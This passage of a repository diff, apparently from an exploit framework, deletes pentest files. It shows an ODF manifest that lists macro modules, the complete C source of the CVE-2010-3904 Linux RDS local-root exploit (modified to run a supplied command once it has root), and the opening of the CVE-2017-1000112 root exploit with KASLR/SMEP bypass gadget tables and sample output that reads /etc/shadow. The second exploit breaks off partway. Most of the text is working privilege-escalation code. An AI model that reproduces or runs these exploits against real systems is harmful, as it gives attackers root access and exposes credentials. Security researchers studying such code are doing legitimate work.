||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#ContentFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="content.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#Document"/>
|
||||
</rdf:Description>
|
||||
</rdf:RDF>
|
||||
@@ -1,15 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">
|
||||
<manifest:file-entry manifest:media-type="application/vnd.oasis.opendocument.text" manifest:version="1.2" manifest:full-path="/"/>
|
||||
<manifest:file-entry manifest:media-type="" manifest:full-path="Configurations2/accelerator/current.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/vnd.sun.xml.ui.configuration" manifest:full-path="Configurations2/"/>
|
||||
<manifest:file-entry manifest:media-type="image/png" manifest:full-path="Thumbnails/thumbnail.png"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/script-lb.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/Module1.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/script-lc.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="settings.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/rdf+xml" manifest:full-path="manifest.rdf"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>
|
||||
</manifest:manifest>
|
||||
@@ -1,2 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-meta xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:grddl="http://www.w3.org/2003/g/data-view#" office:version="1.2"><office:meta><meta:initial-creator>RD_PENTEST</meta:initial-creator><meta:creation-date>2017-02-06T15:15:47.35</meta:creation-date><dc:date>2017-02-06T15:21:59.64</dc:date><dc:creator>RD_PENTEST</dc:creator><meta:editing-duration>PT4M16S</meta:editing-duration><meta:editing-cycles>2</meta:editing-cycles><meta:creation-date>2018-05-10T20:29:41.398000000</meta:creation-date><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="0" meta:word-count="0" meta:character-count="0" meta:non-whitespace-character-count="0"/><meta:generator>LibreOffice/6.0.3.2$Windows_X86_64 LibreOffice_project/8f48d515416608e3a835360314dac7e47fd0b821</meta:generator></office:meta></office:document-meta>
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Binary file not shown.
|
Before Width: | Height: | Size: 729 B |
@@ -1,288 +0,0 @@
|
||||
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
|
||||
|
||||
/*
|
||||
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
|
||||
* CVE-2010-3904
|
||||
* by Dan Rosenberg <drosenberg@vsecurity.com>
|
||||
*
|
||||
* Copyright 2010 Virtual Security Research, LLC
|
||||
*
|
||||
* The handling functions for sending and receiving RDS messages
|
||||
* use unchecked __copy_*_user_inatomic functions without any
|
||||
* access checks on user-provided pointers. As a result, by
|
||||
* passing a kernel address as an iovec base address in recvmsg-style
|
||||
* calls, a local user can overwrite arbitrary kernel memory, which
|
||||
* can easily be used to escalate privileges to root. Alternatively,
|
||||
* an arbitrary kernel read can be performed via sendmsg calls.
|
||||
*
|
||||
* This exploit is simple - it resolves a few kernel symbols,
|
||||
* sets the security_ops to the default structure, then overwrites
|
||||
* a function pointer (ptrace_traceme) in that structure to point
|
||||
* to the payload. After triggering the payload, the original
|
||||
* value is restored. Hard-coding the offset of this function
|
||||
* pointer is a bit inelegant, but I wanted to keep it simple and
|
||||
* architecture-independent (i.e. no inline assembly).
|
||||
*
|
||||
* The vulnerability is yet another example of why you shouldn't
|
||||
* allow loading of random packet families unless you actually
|
||||
* need them.
|
||||
*
|
||||
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
|
||||
* joberheide, bla, sts, and VSR
|
||||
*
|
||||
*/
|
||||
|
||||
// Modified for Metasploit (see comments marked 'msf note')
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define RECVPORT 5555
|
||||
#define SENDPORT 6666
|
||||
|
||||
int prep_sock(int port)
|
||||
{
|
||||
|
||||
int s, ret;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
|
||||
|
||||
if(s < 0) {
|
||||
printf("[*] Could not open socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
|
||||
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
|
||||
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
if(ret < 0) {
|
||||
printf("[*] Could not bind socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
return s;
|
||||
|
||||
}
|
||||
|
||||
void get_message(unsigned long address, int sock)
|
||||
{
|
||||
|
||||
recvfrom(sock, (void *)address, sizeof(void *), 0,
|
||||
NULL, NULL);
|
||||
|
||||
}
|
||||
|
||||
void send_message(unsigned long value, int sock)
|
||||
{
|
||||
|
||||
int size, ret;
|
||||
struct sockaddr_in recvaddr;
|
||||
struct msghdr msg;
|
||||
struct iovec iov;
|
||||
unsigned long buf;
|
||||
|
||||
memset(&recvaddr, 0, sizeof(recvaddr));
|
||||
|
||||
size = sizeof(recvaddr);
|
||||
|
||||
recvaddr.sin_port = htons(RECVPORT);
|
||||
recvaddr.sin_family = AF_INET;
|
||||
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
|
||||
memset(&msg, 0, sizeof(msg));
|
||||
|
||||
msg.msg_name = &recvaddr;
|
||||
msg.msg_namelen = sizeof(recvaddr);
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
buf = value;
|
||||
|
||||
iov.iov_len = sizeof(buf);
|
||||
iov.iov_base = &buf;
|
||||
|
||||
msg.msg_iov = &iov;
|
||||
|
||||
ret = sendmsg(sock, &msg, 0);
|
||||
if(ret < 0) {
|
||||
printf("[*] Something went wrong sending.\n");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
|
||||
{
|
||||
|
||||
if(!fork()) {
|
||||
sleep(1);
|
||||
send_message(value, sendsock);
|
||||
exit(1);
|
||||
}
|
||||
else {
|
||||
get_message(addr, recvsock);
|
||||
wait(NULL);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int __attribute__((regparm(3)))
|
||||
getroot(void * file, void * vma)
|
||||
{
|
||||
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
/* thanks spender... */
|
||||
unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
/* didn't find the symbol, let's retry with the System.map
|
||||
dedicated to the pointlessness of Russell Coker's SELinux
|
||||
test machine (why does he keep upgrading the kernel if
|
||||
"all necessary security can be provided by SE Linux"?)
|
||||
*/
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
unsigned long sec_ops, def_ops, cap_ptrace, target;
|
||||
int sendsock, recvsock;
|
||||
struct utsname ver;
|
||||
|
||||
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
|
||||
printf("[*] by Dan Rosenberg\n");
|
||||
|
||||
uname(&ver);
|
||||
|
||||
if(strncmp(ver.release, "2.6.3", 5)) {
|
||||
printf("[*] Your kernel is not vulnerable.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Resolve addresses of relevant symbols */
|
||||
printf("[*] Resolving kernel addresses...\n");
|
||||
sec_ops = get_kernel_sym("security_ops");
|
||||
def_ops = get_kernel_sym("default_security_ops");
|
||||
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
|
||||
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
|
||||
|
||||
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
|
||||
printf("[*] Failed to resolve kernel symbols.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Calculate target */
|
||||
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
|
||||
|
||||
sendsock = prep_sock(SENDPORT);
|
||||
recvsock = prep_sock(RECVPORT);
|
||||
|
||||
/* Reset security ops */
|
||||
printf("[*] Overwriting security ops...\n");
|
||||
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
|
||||
|
||||
/* Overwrite ptrace_traceme security op fptr */
|
||||
printf("[*] Overwriting function pointer...\n");
|
||||
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
|
||||
|
||||
/* Trigger the payload */
|
||||
printf("[*] Triggering payload...\n");
|
||||
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
|
||||
|
||||
/* Restore the ptrace_traceme security op */
|
||||
printf("[*] Restoring function pointer...\n");
|
||||
write_to_mem(target, cap_ptrace, sendsock, recvsock);
|
||||
|
||||
if(getuid()) {
|
||||
printf("[*] Exploit failed to get root.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Got root!\n");
|
||||
// msf note: modified to execute argv[1]
|
||||
//execl("/bin/sh", "sh", NULL);
|
||||
system(argv[1]);
|
||||
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,884 +0,0 @@
|
||||
// A proof-of-concept local root exploit for CVE-2017-1000112.
|
||||
// Includes KASLR and SMEP bypasses. No SMAP bypass.
|
||||
// Tested on:
|
||||
// - Ubuntu trusty 4.4.0 kernels
|
||||
// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
|
||||
// - Linux Mint rosa 4.4.0 kernels
|
||||
// - Linux Mint sarah 4.8.0 kernels
|
||||
// - Zorin OS 12.1 4.4.0-39 kernel
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
// user@ubuntu:~$ whoami
|
||||
// user
|
||||
// user@ubuntu:~$ id
|
||||
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] checking kernel version
|
||||
// [.] kernel version '4.8.0-58-generic' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [~] done, kernel text: ffffffffae400000
|
||||
// [.] commit_creds: ffffffffae4a5d20
|
||||
// [.] prepare_kernel_cred: ffffffffae4a6110
|
||||
// [.] SMEP bypass enabled, mmapping fake stack
|
||||
// [~] done, fake stack mmapped
|
||||
// [.] executing payload ffffffffae40008d
|
||||
// [~] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# whoami
|
||||
// root
|
||||
// root@ubuntu:/home/user# id
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// sys:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
// ---
|
||||
// Updated by <bcoles@gmail.com>
|
||||
// - support for distros based on Ubuntu kernel
|
||||
// - additional kernel targets
|
||||
// - additional KASLR bypasses
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-1000112
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <linux/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_BYPASS 1
|
||||
|
||||
char* SHELL = "/bin/bash";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_kernel().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* distro;
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t xchg_eax_esp_ret;
|
||||
uint64_t pop_rdi_ret;
|
||||
uint64_t mov_dword_ptr_rdi_eax_ret;
|
||||
uint64_t mov_rax_cr4_ret;
|
||||
uint64_t neg_rax_ret;
|
||||
uint64_t pop_rcx_ret;
|
||||
uint64_t or_rax_rcx_ret;
|
||||
uint64_t xchg_eax_edi_ret;
|
||||
uint64_t mov_cr4_rdi_ret;
|
||||
uint64_t jmp_rcx;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
|
||||
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
|
||||
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
|
||||
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
|
||||
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b },
|
||||
{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
|
||||
{ "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d },
|
||||
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
// { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b },
|
||||
// { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 },
|
||||
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
|
||||
// Used when ENABLE_SMEP_BYPASS is used.
|
||||
// - xchg eax, esp ; ret
|
||||
// - pop rdi ; ret
|
||||
// - mov dword ptr [rdi], eax ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
|
||||
// - neg rax ; ret
|
||||
// - pop rcx ; ret
|
||||
// - or rax, rcx ; ret
|
||||
// - xchg eax, edi ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
|
||||
// - jmp rcx
|
||||
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
|
||||
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
|
||||
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
|
||||
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
|
||||
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
|
||||
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
|
||||
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
|
||||
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
|
||||
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
|
||||
